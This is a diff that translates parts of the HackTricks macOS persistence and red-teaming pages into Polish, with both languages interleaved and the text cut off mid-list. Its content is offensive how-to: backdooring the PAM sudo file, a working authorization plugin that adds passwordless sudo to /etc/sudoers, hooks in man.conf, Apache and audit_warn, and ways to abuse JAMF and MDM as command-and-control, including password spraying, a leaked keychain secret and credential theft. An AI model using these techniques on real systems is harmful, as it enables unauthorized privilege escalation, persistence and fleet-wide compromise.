```bash ls -l /etc/pam.d ``` - -A persistence/privilege escalation technique abusing PAM is as easy as modifying the module /etc/pam.d/sudo adding at the beginning the line: - +Technika utrzymywania/eskalacji uprawnień wykorzystująca PAM jest tak prosta, jak modyfikacja modułu /etc/pam.d/sudo, dodając na początku linię: ```bash auth sufficient pam_permit.so ``` - -So it will **looks like** something like this: - +Więc będzie **wyglądać** to mniej więcej tak: ```bash # sudo: auth account password session auth sufficient pam_permit.so @@ -1355,14 +1264,12 @@ account required pam_permit.so password required pam_deny.so session required pam_permit.so ``` - -And therefore any attempt to use **`sudo` will work**. +I dlatego każda próba użycia **`sudo` zadziała**. > [!CAUTION] -> Note that this directory is protected by TCC so it's highly probably that the user will get a prompt asking for access. - -Another nice example is su, were you can see that it's also possible to give parameters to the PAM modules (and you coukd also backdoor this file): +> Zauważ, że ten katalog jest chroniony przez TCC, więc jest bardzo prawdopodobne, że użytkownik otrzyma monit o dostęp. +Innym dobrym przykładem jest su, gdzie możesz zobaczyć, że również możliwe jest przekazywanie parametrów do modułów PAM (i możesz również wprowadzić backdoora do tego pliku): ```bash cat /etc/pam.d/su # su: auth account session @@ -1373,26 +1280,24 @@ account required pam_opendirectory.so no_check_shell password required pam_opendirectory.so session required pam_launchd.so ``` - -### Authorization Plugins +### Wtyczki autoryzacji Writeup: [https://theevilbit.github.io/beyond/beyond_0028/](https://theevilbit.github.io/beyond/beyond_0028/)\ Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you need to be root and make extra configs -- TCC bypass: ??? +- Przydatne do obejścia sandbox: [🟠](https://emojipedia.org/large-orange-circle) +- Ale musisz być rootem i wykonać dodatkowe konfiguracje +- Obejście TCC: ??? -#### Location +#### Lokalizacja - `/Library/Security/SecurityAgentPlugins/` - - Root required - - It's also needed to configure the authorization database to use the plugin +- Wymagany root +- Konieczne jest również skonfigurowanie bazy danych autoryzacji, aby używała wtyczki -#### Description & Exploitation - -You can create an authorization plugin that will be executed when a user logs-in to maintain persistence. For more information about how to create one of these plugins check the previous writeups (and be careful, a poorly written one can lock you out and you will need to clean your mac from recovery mode). +#### Opis i eksploatacja +Możesz stworzyć wtyczkę autoryzacji, która będzie wykonywana, gdy użytkownik się loguje, aby utrzymać persistencję. Aby uzyskać więcej informacji na temat tego, jak stworzyć jedną z tych wtyczek, sprawdź wcześniejsze writeupy (i bądź ostrożny, źle napisana może zablokować dostęp i będziesz musiał oczyścić swojego maca z trybu odzyskiwania). ```objectivec // Compile the code and create a real bundle // gcc -bundle -framework Foundation main.m -o CustomAuth @@ -1403,74 +1308,64 @@ You can create an authorization plugin that will be executed when a user logs-in __attribute__((constructor)) static void run() { - NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded"); - system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers"); +NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded"); +system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers"); } ``` - -**Move** the bundle to the location to be loaded: - +**Przenieś** pakiet do lokalizacji, która ma być załadowana: ```bash cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/ ``` - -Finally add the **rule** to load this Plugin: - +Na koniec dodaj **zasadę** do załadowania tego wtyczki: ```bash cat > /tmp/rule.plist < - class - evaluate-mechanisms - mechanisms - - CustomAuth:login,privileged - - +class +evaluate-mechanisms +mechanisms + +CustomAuth:login,privileged + +
EOF security authorizationdb write com.asdf.asdf < /tmp/rule.plist ``` +**`evaluate-mechanisms`** poinformuje framework autoryzacji, że będzie musiał **wywołać zewnętrzny mechanizm autoryzacji**. Ponadto, **`privileged`** sprawi, że zostanie on wykonany przez root. -The **`evaluate-mechanisms`** will tell the authorization framework that it will need to **call an external mechanism for authorization**. Moreover, **`privileged`** will make it be executed by root. - -Trigger it with: - +Wywołaj to za pomocą: ```bash security authorize com.asdf.asdf ``` - -And then the **staff group should have sudo** access (read `/etc/sudoers` to confirm). +A następnie **grupa pracowników powinna mieć dostęp sudo** (przeczytaj `/etc/sudoers`, aby potwierdzić). ### Man.conf Writeup: [https://theevilbit.github.io/beyond/beyond_0030/](https://theevilbit.github.io/beyond/beyond_0030/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you need to be root and the user must use man -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Przydatne do obejścia sandbox: [🟠](https://emojipedia.org/large-orange-circle) +- Ale musisz być rootem, a użytkownik musi używać man +- Obejście TCC: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### Lokalizacja - **`/private/etc/man.conf`** - - Root required - - **`/private/etc/man.conf`**: Whenever man is used +- Wymagany root +- **`/private/etc/man.conf`**: Kiedy man jest używany -#### Description & Exploit +#### Opis i Eksploatacja -The config file **`/private/etc/man.conf`** indicate the binary/script to use when opening man documentation files. So the path to the executable could be modified so anytime the user uses man to read some docs a backdoor is executed. - -For example set in **`/private/etc/man.conf`**: +Plik konfiguracyjny **`/private/etc/man.conf`** wskazuje binarny/skrypt do użycia podczas otwierania plików dokumentacji man. Ścieżka do wykonywalnego pliku może być zmodyfikowana, więc za każdym razem, gdy użytkownik używa man do czytania dokumentów, uruchamiana jest tylna furtka. +Na przykład ustawione w **`/private/etc/man.conf`**: ``` MANPAGER /tmp/view ``` - -And then create `/tmp/view` as: - +A następnie utwórz `/tmp/view` jako: ```bash #!/bin/zsh @@ -1478,40 +1373,34 @@ touch /tmp/manconf /usr/bin/less -s ``` - ### Apache2 **Writeup**: [https://theevilbit.github.io/beyond/beyond_0023/](https://theevilbit.github.io/beyond/beyond_0023/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you need to be root and apache needs to be running -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) - - Httpd doesn't have entitlements +- Przydatne do obejścia sandbox: [🟠](https://emojipedia.org/large-orange-circle) +- Ale musisz być rootem, a apache musi być uruchomiony +- Obejście TCC: [🔴](https://emojipedia.org/large-red-circle) +- Httpd nie ma uprawnień #### Location - **`/etc/apache2/httpd.conf`** - - Root required - - Trigger: When Apache2 is started +- Wymagany root +- Wyzwalacz: Gdy Apache2 jest uruchamiany #### Description & Exploit -You can indicate in `/etc/apache2/httpd.conf` to load a module adding a line such as: - +Możesz wskazać w `/etc/apache2/httpd.conf`, aby załadować moduł, dodając linię taką jak: ```bash LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority" ``` +W ten sposób twoje skompilowane moduły będą ładowane przez Apache. Jedyną rzeczą jest to, że musisz **podpisać to ważnym certyfikatem Apple**, lub musisz **dodać nowy zaufany certyfikat** w systemie i **podpisać to** nim. -This way your compiled moduled will be loaded by Apache. The only thing is that either you need to **sign it with a valid Apple certificate**, or you need to **add a new trusted certificate** in the system and **sign it** with it. - -Then, if needed , to make sure the server will be started you could execute: - +Następnie, jeśli to konieczne, aby upewnić się, że serwer zostanie uruchomiony, możesz wykonać: ```bash sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist ``` - -Code example for the Dylb: - +Przykład kodu dla Dylb: ```objectivec #include #include @@ -1519,137 +1408,127 @@ Code example for the Dylb: __attribute__((constructor)) static void myconstructor(int argc, const char **argv) { - printf("[+] dylib constructor called from %s\n", argv[0]); - syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]); +printf("[+] dylib constructor called from %s\n", argv[0]); +syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]); } ``` - ### BSM audit framework Writeup: [https://theevilbit.github.io/beyond/beyond_0031/](https://theevilbit.github.io/beyond/beyond_0031/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you need to be root, auditd be running and cause a warning -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Przydatne do obejścia sandbox: [🟠](https://emojipedia.org/large-orange-circle) +- Ale musisz być root, auditd musi działać i spowodować ostrzeżenie +- Obejście TCC: [🔴](https://emojipedia.org/large-red-circle) #### Location - **`/etc/security/audit_warn`** - - Root required - - **Trigger**: When auditd detects a warning +- Wymagany root +- **Trigger**: Gdy auditd wykryje ostrzeżenie #### Description & Exploit -Whenever auditd detects a warning the script **`/etc/security/audit_warn`** is **executed**. So you could add your payload on it. - +Kiedy auditd wykryje ostrzeżenie, skrypt **`/etc/security/audit_warn`** jest **wykonywany**. Możesz więc dodać swój ładunek do niego. ```bash echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn ``` +Możesz wymusić ostrzeżenie za pomocą `sudo audit -n`. -You could force a warning with `sudo audit -n`. +### Elementy uruchamiania -### Startup Items +> [!CAUTION] > **To jest przestarzałe, więc nic nie powinno być znalezione w tych katalogach.** -> [!CAUTION] > **This is deprecated, so nothing should be found in those directories.** +**StartupItem** to katalog, który powinien znajdować się w `/Library/StartupItems/` lub `/System/Library/StartupItems/`. Po utworzeniu tego katalogu, musi on zawierać dwa konkretne pliki: -The **StartupItem** is a directory that should be positioned within either `/Library/StartupItems/` or `/System/Library/StartupItems/`. Once this directory is established, it must encompass two specific files: +1. Skrypt **rc**: Skrypt powłoki wykonywany podczas uruchamiania. +2. Plik **plist**, nazwany `StartupParameters.plist`, który zawiera różne ustawienia konfiguracyjne. -1. An **rc script**: A shell script executed at startup. -2. A **plist file**, specifically named `StartupParameters.plist`, which contains various configuration settings. - -Ensure that both the rc script and the `StartupParameters.plist` file are correctly placed inside the **StartupItem** directory for the startup process to recognize and utilize them. +Upewnij się, że zarówno skrypt rc, jak i plik `StartupParameters.plist` są poprawnie umieszczone w katalogu **StartupItem**, aby proces uruchamiania mógł je rozpoznać i wykorzystać. {{#tabs}} {{#tab name="StartupParameters.plist"}} - ```xml - Description - This is a description of this service - OrderPreference - None - Provides - - superservicename - +Description +This is a description of this service +OrderPreference +None +Provides + +superservicename + ``` - {{#endtab}} {{#tab name="superservicename"}} - ```bash #!/bin/sh . /etc/rc.common StartService(){ - touch /tmp/superservicestarted +touch /tmp/superservicestarted } StopService(){ - rm /tmp/superservicestarted +rm /tmp/superservicestarted } RestartService(){ - echo "Restarting" +echo "Restarting" } RunService "$1" ``` - {{#endtab}} {{#endtabs}} ### ~~emond~~ > [!CAUTION] -> I cannot find this component in my macOS so for more info check the writeup +> Nie mogę znaleźć tego komponentu w moim macOS, więc w celu uzyskania dalszych informacji sprawdź opis -Writeup: [https://theevilbit.github.io/beyond/beyond_0023/](https://theevilbit.github.io/beyond/beyond_0023/) +Opis: [https://theevilbit.github.io/beyond/beyond_0023/](https://theevilbit.github.io/beyond/beyond_0023/) -Introduced by Apple, **emond** is a logging mechanism that seems to be underdeveloped or possibly abandoned, yet it remains accessible. While not particularly beneficial for a Mac administrator, this obscure service could serve as a subtle persistence method for threat actors, likely unnoticed by most macOS admins. - -For those aware of its existence, identifying any malicious usage of **emond** is straightforward. The system's LaunchDaemon for this service seeks scripts to execute in a single directory. To inspect this, the following command can be used: +Wprowadzony przez Apple, **emond** to mechanizm logowania, który wydaje się być niedorozwinięty lub być może porzucony, ale nadal jest dostępny. Chociaż nie jest szczególnie korzystny dla administratora Maca, ta niejasna usługa może służyć jako subtelna metoda utrzymywania się dla aktorów zagrożeń, prawdopodobnie niezauważona przez większość administratorów macOS. +Dla tych, którzy są świadomi jej istnienia, identyfikacja jakiegokolwiek złośliwego użycia **emond** jest prosta. LaunchDaemon systemu dla tej usługi poszukuje skryptów do wykonania w jednym katalogu. Aby to sprawdzić, można użyć następującego polecenia: ```bash ls -l /private/var/db/emondClients ``` - ### ~~XQuartz~~ Writeup: [https://theevilbit.github.io/beyond/beyond_0018/](https://theevilbit.github.io/beyond/beyond_0018/) -#### Location +#### Lokalizacja - **`/opt/X11/etc/X11/xinit/privileged_startx.d`** - - Root required - - **Trigger**: With XQuartz +- Wymagane uprawnienia roota +- **Wyzwalacz**: Z XQuartz -#### Description & Exploit +#### Opis i Eksploatacja -XQuartz is **no longer installed in macOS**, so if you want more info check the writeup. +XQuartz **nie jest już zainstalowany w macOS**, więc jeśli chcesz więcej informacji, sprawdź opis. ### ~~kext~~ > [!CAUTION] -> It's so complicated to install kext even as root taht I won't consider this to escape from sandboxes or even for persistence (unless you have an exploit) +> Instalacja kext, nawet jako root, jest tak skomplikowana, że nie będę tego rozważać jako sposobu na ucieczkę z piaskownic ani nawet dla trwałości (chyba że masz exploit) -#### Location +#### Lokalizacja -In order to install a KEXT as a startup item, it needs to be **installed in one of the following locations**: +Aby zainstalować KEXT jako element startowy, musi być **zainstalowany w jednej z następujących lokalizacji**: - `/System/Library/Extensions` - - KEXT files built into the OS X operating system. +- Pliki KEXT wbudowane w system operacyjny OS X. - `/Library/Extensions` - - KEXT files installed by 3rd party software - -You can list currently loaded kext files with: +- Pliki KEXT zainstalowane przez oprogramowanie firm trzecich +Możesz wylistować aktualnie załadowane pliki kext za pomocą: ```bash kextstat #List loaded kext kextload /path/to/kext.kext #Load a new one based on path @@ -1657,44 +1536,42 @@ kextload -b com.apple.driver.ExampleBundle #Load a new one based on path kextunload /path/to/kext.kext kextunload -b com.apple.driver.ExampleBundle ``` - -For more information about [**kernel extensions check this section**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers). +Dla uzyskania dodatkowych informacji o [**rozszerzeniach jądra sprawdź tę sekcję**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers). ### ~~amstoold~~ -Writeup: [https://theevilbit.github.io/beyond/beyond_0029/](https://theevilbit.github.io/beyond/beyond_0029/) +Opis: [https://theevilbit.github.io/beyond/beyond_0029/](https://theevilbit.github.io/beyond/beyond_0029/) -#### Location +#### Lokalizacja - **`/usr/local/bin/amstoold`** - - Root required +- Wymagane uprawnienia roota -#### Description & Exploitation +#### Opis i wykorzystanie -Apparently the `plist` from `/System/Library/LaunchAgents/com.apple.amstoold.plist` was using this binary while exposing a XPC service... the thing is that the binary didn't exist, so you could place something there and when the XPC service gets called your binary will be called. +Najwyraźniej `plist` z `/System/Library/LaunchAgents/com.apple.amstoold.plist` używał tego binarnego pliku, jednocześnie eksponując usługę XPC... problem w tym, że plik binarny nie istniał, więc mogłeś umieścić coś tam, a gdy usługa XPC zostanie wywołana, twój plik binarny zostanie wywołany. -I can no longer find this in my macOS. +Nie mogę już tego znaleźć w moim macOS. ### ~~xsanctl~~ -Writeup: [https://theevilbit.github.io/beyond/beyond_0015/](https://theevilbit.github.io/beyond/beyond_0015/) +Opis: [https://theevilbit.github.io/beyond/beyond_0015/](https://theevilbit.github.io/beyond/beyond_0015/) -#### Location +#### Lokalizacja - **`/Library/Preferences/Xsan/.xsanrc`** - - Root required - - **Trigger**: When the service is run (rarely) +- Wymagane uprawnienia roota +- **Wyzwalacz**: Gdy usługa jest uruchamiana (rzadko) -#### Description & exploit +#### Opis i wykorzystanie -Apparently it's not very common to run this script and I couldn't even find it in my macOS, so if you want more info check the writeup. +Najwyraźniej nie jest zbyt powszechne uruchamianie tego skryptu i nie mogłem go nawet znaleźć w moim macOS, więc jeśli chcesz więcej informacji, sprawdź opis. ### ~~/etc/rc.common~~ -> [!CAUTION] > **This isn't working in modern MacOS versions** - -It's also possible to place here **commands that will be executed at startup.** Example os regular rc.common script: +> [!OSTRZEŻENIE] > **To nie działa w nowoczesnych wersjach MacOS** +Możliwe jest również umieszczenie tutaj **komend, które będą wykonywane przy starcie.** Przykład regularnego skryptu rc.common: ```bash # # Common setup for startup scripts. @@ -1734,16 +1611,16 @@ PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; ex # CheckForNetwork() { - local test +local test - if [ -z "${NETWORKUP:=}" ]; then - test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l) - if [ "${test}" -gt 0 ]; then - NETWORKUP="-YES-" - else - NETWORKUP="-NO-" - fi - fi +if [ -z "${NETWORKUP:=}" ]; then +test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l) +if [ "${test}" -gt 0 ]; then +NETWORKUP="-YES-" +else +NETWORKUP="-NO-" +fi +fi } alias ConsoleMessage=echo @@ -1753,25 +1630,25 @@ alias ConsoleMessage=echo # GetPID () { - local program="$1" - local pidfile="${PIDFILE:=/var/run/${program}.pid}" - local pid="" +local program="$1" +local pidfile="${PIDFILE:=/var/run/${program}.pid}" +local pid="" - if [ -f "${pidfile}" ]; then - pid=$(head -1 "${pidfile}") - if ! kill -0 "${pid}" 2> /dev/null; then - echo "Bad pid file $pidfile; deleting." - pid="" - rm -f "${pidfile}" - fi - fi +if [ -f "${pidfile}" ]; then +pid=$(head -1 "${pidfile}") +if ! kill -0 "${pid}" 2> /dev/null; then +echo "Bad pid file $pidfile; deleting." +pid="" +rm -f "${pidfile}" +fi +fi - if [ -n "${pid}" ]; then - echo "${pid}" - return 0 - else - return 1 - fi +if [ -n "${pid}" ]; then +echo "${pid}" +return 0 +else +return 1 +fi } # @@ -1779,16 +1656,15 @@ GetPID () # RunService () { - case $1 in - start ) StartService ;; - stop ) StopService ;; - restart) RestartService ;; - * ) echo "$0: unknown argument: $1";; - esac +case $1 in +start ) StartService ;; +stop ) StopService ;; +restart) RestartService ;; +* ) echo "$0: unknown argument: $1";; +esac } ``` - -## Persistence techniques and tools +## Techniki i narzędzia utrzymywania - [https://github.com/cedowens/Persistent-Swift](https://github.com/cedowens/Persistent-Swift) - [https://github.com/D00MFist/PersistentJXA](https://github.com/D00MFist/PersistentJXA) diff --git a/src/macos-hardening/macos-red-teaming/README.md b/src/macos-hardening/macos-red-teaming/README.md index 3701205f8..480967502 100644 --- a/src/macos-hardening/macos-red-teaming/README.md +++ b/src/macos-hardening/macos-red-teaming/README.md @@ -2,109 +2,98 @@ {{#include ../../banners/hacktricks-training.md}} -
-**Get a hacker's perspective on your web apps, network, and cloud** - -**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - -## Abusing MDMs +## Wykorzystywanie MDM - JAMF Pro: `jamf checkJSSConnection` - Kandji -If you manage to **compromise admin credentials** to access the management platform, you can **potentially compromise all the computers** by distributing your malware in the machines. +Jeśli uda ci się **skompromentować dane logowania administratora** do platformy zarządzania, możesz **potencjalnie skompromitować wszystkie komputery** poprzez dystrybucję swojego złośliwego oprogramowania na maszynach. -For red teaming in MacOS environments it's highly recommended to have some understanding of how the MDMs work: +Dla red teamingu w środowiskach MacOS zaleca się posiadanie pewnej wiedzy na temat działania MDM: {{#ref}} macos-mdm/ {{#endref}} -### Using MDM as a C2 +### Używanie MDM jako C2 -A MDM will have permission to install, query or remove profiles, install applications, create local admin accounts, set firmware password, change the FileVault key... +MDM będzie miało uprawnienia do instalowania, zapytywania lub usuwania profili, instalowania aplikacji, tworzenia lokalnych kont administratorów, ustawiania hasła firmware, zmiany klucza FileVault... -In order to run your own MDM you need to **your CSR signed by a vendor** which you could try to get with [**https://mdmcert.download/**](https://mdmcert.download/). And to run your own MDM for Apple devices you could use [**MicroMDM**](https://github.com/micromdm/micromdm). +Aby uruchomić własne MDM, musisz **podpisać swój CSR przez dostawcę**, co możesz spróbować uzyskać z [**https://mdmcert.download/**](https://mdmcert.download/). Aby uruchomić własne MDM dla urządzeń Apple, możesz użyć [**MicroMDM**](https://github.com/micromdm/micromdm). -However, to install an application in an enrolled device, you still need it to be signed by a developer account... however, upon MDM enrolment the **device adds the SSL cert of the MDM as a trusted CA**, so you can now sign anything. +Jednak aby zainstalować aplikację na zarejestrowanym urządzeniu, nadal musisz, aby była ona podpisana przez konto dewelopera... jednak po rejestracji w MDM **urządzenie dodaje certyfikat SSL MDM jako zaufane CA**, więc teraz możesz podpisać cokolwiek. -To enrol the device in a MDM you. need to install a **`mobileconfig`** file as root, which could be delivered via a **pkg** file (you could compress it in zip and when downloaded from safari it will be decompressed). +Aby zarejestrować urządzenie w MDM, musisz zainstalować plik **`mobileconfig`** jako root, który można dostarczyć za pomocą pliku **pkg** (możesz go skompresować w zip, a po pobraniu z safari zostanie on rozpakowany). -**Mythic agent Orthrus** uses this technique. +**Mythic agent Orthrus** używa tej techniki. -### Abusing JAMF PRO +### Wykorzystywanie JAMF PRO -JAMF can run **custom scripts** (scripts developed by the sysadmin), **native payloads** (local account creation, set EFI password, file/process monitoring...) and **MDM** (device configurations, device certificates...). +JAMF może uruchamiać **niestandardowe skrypty** (skrypty opracowane przez sysadmina), **natywne ładunki** (tworzenie lokalnych kont, ustawianie hasła EFI, monitorowanie plików/procesów...) oraz **MDM** (konfiguracje urządzeń, certyfikaty urządzeń...). -#### JAMF self-enrolment +#### Samo-rejestracja JAMF -Go to a page such as `https://.jamfcloud.com/enroll/` to see if they have **self-enrolment enabled**. If they have it might **ask for credentials to access**. +Przejdź do strony takiej jak `https://.jamfcloud.com/enroll/`, aby sprawdzić, czy mają **włączoną samo-rejestrację**. Jeśli tak, może **poprosić o dane logowania**. -You could use the script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) to perform a password spraying attack. +Możesz użyć skryptu [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py), aby przeprowadzić atak na hasła. -Moreover, after finding proper credentials you could be able to brute-force other usernames with the next form: +Ponadto, po znalezieniu odpowiednich danych logowania, możesz być w stanie przeprowadzić brute-force na innych nazwach użytkowników za pomocą następnej formy: ![](<../../images/image (107).png>) -#### JAMF device Authentication +#### Autoryzacja urządzenia JAMF
-The **`jamf`** binary contained the secret to open the keychain which at the time of the discovery was **shared** among everybody and it was: **`jk23ucnq91jfu9aj`**.\ -Moreover, jamf **persist** as a **LaunchDaemon** in **`/Library/LaunchAgents/com.jamf.management.agent.plist`** +Binarne **`jamf`** zawierało sekret do otwarcia pęku kluczy, który w momencie odkrycia był **dzielony** wśród wszystkich i był to: **`jk23ucnq91jfu9aj`**.\ +Ponadto, jamf **utrzymuje się** jako **LaunchDaemon** w **`/Library/LaunchAgents/com.jamf.management.agent.plist`**. -#### JAMF Device Takeover - -The **JSS** (Jamf Software Server) **URL** that **`jamf`** will use is located in **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\ -This file basically contains the URL: +#### Przejęcie urządzenia JAMF +URL **JSS** (Jamf Software Server), który **`jamf`** będzie używać, znajduje się w **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\ +Ten plik zasadniczo zawiera URL: ```bash plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist [...] - is_virtual_machine - - jss_url - https://halbornasd.jamfcloud.com/ - last_management_framework_change_id - 4 +is_virtual_machine + +jss_url +https://halbornasd.jamfcloud.com/ +last_management_framework_change_id +4 [...] ``` - -So, an attacker could drop a malicious package (`pkg`) that **overwrites this file** when installed setting the **URL to a Mythic C2 listener from a Typhon agent** to now be able to abuse JAMF as C2. - +Więc atakujący mógłby zainstalować złośliwy pakiet (`pkg`), który **nadpisuje ten plik**, ustawiając **URL do nasłuchiwacza Mythic C2 z agenta Typhon**, aby móc teraz nadużywać JAMF jako C2. ```bash # After changing the URL you could wait for it to be reloaded or execute: sudo jamf policy -id 0 # TODO: There is an ID, maybe it's possible to have the real jamf connection and another one to the C2 ``` +#### Impersonacja JAMF -#### JAMF Impersonation +Aby **imić komunikację** między urządzeniem a JMF, potrzebujesz: -In order to **impersonate the communication** between a device and JMF you need: +- **UUID** urządzenia: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'` +- **Zaufanej puli JAMF** z: `/Library/Application\ Support/Jamf/JAMF.keychain`, która zawiera certyfikat urządzenia -- The **UUID** of the device: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'` -- The **JAMF keychain** from: `/Library/Application\ Support/Jamf/JAMF.keychain` which contains the device certificate +Mając te informacje, **stwórz VM** z **skradzionym** Hardware **UUID** i z **wyłączonym SIP**, umieść **zaufaną pulę JAMF,** **podłącz** agenta Jamf i skradnij jego informacje. -With this information, **create a VM** with the **stolen** Hardware **UUID** and with **SIP disabled**, drop the **JAMF keychain,** **hook** the Jamf **agent** and steal its information. - -#### Secrets stealing +#### Kradzież sekretów

a

-You could also monitor the location `/Library/Application Support/Jamf/tmp/` for the **custom scripts** admins might want to execute via Jamf as they are **placed here, executed and removed**. These scripts **might contain credentials**. +Możesz również monitorować lokalizację `/Library/Application Support/Jamf/tmp/` w poszukiwaniu **niestandardowych skryptów**, które administratorzy mogą chcieć wykonać za pomocą Jamf, ponieważ są **umieszczane tutaj, wykonywane i usuwane**. Te skrypty **mogą zawierać poświadczenia**. -However, **credentials** might be passed tho these scripts as **parameters**, so you would need to monitor `ps aux | grep -i jamf` (without even being root). +Jednakże, **poświadczenia** mogą być przekazywane do tych skryptów jako **parametry**, więc musisz monitorować `ps aux | grep -i jamf` (nawet nie będąc rootem). -The script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) can listen for new files being added and new process arguments. +Skrypt [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) może nasłuchiwać na nowe pliki dodawane i nowe argumenty procesów. -### macOS Remote Access +### Zdalny dostęp do macOS -And also about **MacOS** "special" **network** **protocols**: +A także o **specjalnych** **protokółach** **sieciowych** **MacOS**: {{#ref}} ../macos-security-and-privilege-escalation/macos-protocols.md @@ -112,7 +101,7 @@ And also about **MacOS** "special" **network** **protocols**: ## Active Directory -In some occasions you will find that the **MacOS computer is connected to an AD**. In this scenario you should try to **enumerate** the active directory as you are use to it. Find some **help** in the following pages: +W niektórych przypadkach możesz stwierdzić, że **komputer MacOS jest podłączony do AD**. W tym scenariuszu powinieneś spróbować **wyliczyć** aktywny katalog, jak jesteś do tego przyzwyczajony. Znajdź trochę **pomocy** na następujących stronach: {{#ref}} ../../network-services-pentesting/pentesting-ldap.md @@ -126,41 +115,36 @@ In some occasions you will find that the **MacOS computer is connected to an AD* ../../network-services-pentesting/pentesting-kerberos-88/ {{#endref}} -Some **local MacOS tool** that may also help you is `dscl`: - +Niektóre **lokalne narzędzia MacOS**, które mogą również pomóc, to `dscl`: ```bash dscl "/Active Directory/[Domain]/All Domains" ls / ``` +Również istnieją narzędzia przygotowane dla MacOS do automatycznego enumerowania AD i zabawy z Kerberosem: -Also there are some tools prepared for MacOS to automatically enumerate the AD and play with kerberos: - -- [**Machound**](https://github.com/XMCyber/MacHound): MacHound is an extension to the Bloodhound audting tool allowing collecting and ingesting of Active Directory relationships on MacOS hosts. -- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost is an Objective-C project designed to interact with the Heimdal krb5 APIs on macOS. The goal of the project is to enable better security testing around Kerberos on macOS devices using native APIs without requiring any other framework or packages on the target. -- [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation (JXA) tool to do Active Directory enumeration. - -### Domain Information +- [**Machound**](https://github.com/XMCyber/MacHound): MacHound to rozszerzenie narzędzia audytowego Bloodhound, które umożliwia zbieranie i przetwarzanie relacji Active Directory na hostach MacOS. +- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost to projekt w Objective-C zaprojektowany do interakcji z API Heimdal krb5 na macOS. Celem projektu jest umożliwienie lepszego testowania bezpieczeństwa związane z Kerberosem na urządzeniach macOS przy użyciu natywnych API bez potrzeby korzystania z innych frameworków lub pakietów na docelowym systemie. +- [**Orchard**](https://github.com/its-a-feature/Orchard): Narzędzie JavaScript for Automation (JXA) do enumeracji Active Directory. +### Informacje o domenie ```bash echo show com.apple.opendirectoryd.ActiveDirectory | scutil ``` +### Użytkownicy -### Users +Trzy typy użytkowników MacOS to: -The three types of MacOS users are: +- **Użytkownicy lokalni** — Zarządzani przez lokalną usługę OpenDirectory, nie są w żaden sposób połączeni z Active Directory. +- **Użytkownicy sieciowi** — Zmienni użytkownicy Active Directory, którzy wymagają połączenia z serwerem DC w celu uwierzytelnienia. +- **Użytkownicy mobilni** — Użytkownicy Active Directory z lokalnym zapasowym kopią swoich poświadczeń i plików. -- **Local Users** — Managed by the local OpenDirectory service, they aren’t connected in any way to the Active Directory. -- **Network Users** — Volatile Active Directory users who require a connection to the DC server to authenticate. -- **Mobile Users** — Active Directory users with a local backup for their credentials and files. +Lokalne informacje o użytkownikach i grupach są przechowywane w folderze _/var/db/dslocal/nodes/Default._\ +Na przykład, informacje o użytkowniku o nazwie _mark_ są przechowywane w _/var/db/dslocal/nodes/Default/users/mark.plist_, a informacje o grupie _admin_ znajdują się w _/var/db/dslocal/nodes/Default/groups/admin.plist_. -The local information about users and groups is stored in in the folder _/var/db/dslocal/nodes/Default._\ -For example, the info about user called _mark_ is stored in _/var/db/dslocal/nodes/Default/users/mark.plist_ and the info about the group _admin_ is in _/var/db/dslocal/nodes/Default/groups/admin.plist_. - -In addition to using the HasSession and AdminTo edges, **MacHound adds three new edges** to the Bloodhound database: - -- **CanSSH** - entity allowed to SSH to host -- **CanVNC** - entity allowed to VNC to host -- **CanAE** - entity allowed to execute AppleEvent scripts on host +Oprócz używania krawędzi HasSession i AdminTo, **MacHound dodaje trzy nowe krawędzie** do bazy danych Bloodhound: +- **CanSSH** - podmiot dozwolony do SSH do hosta +- 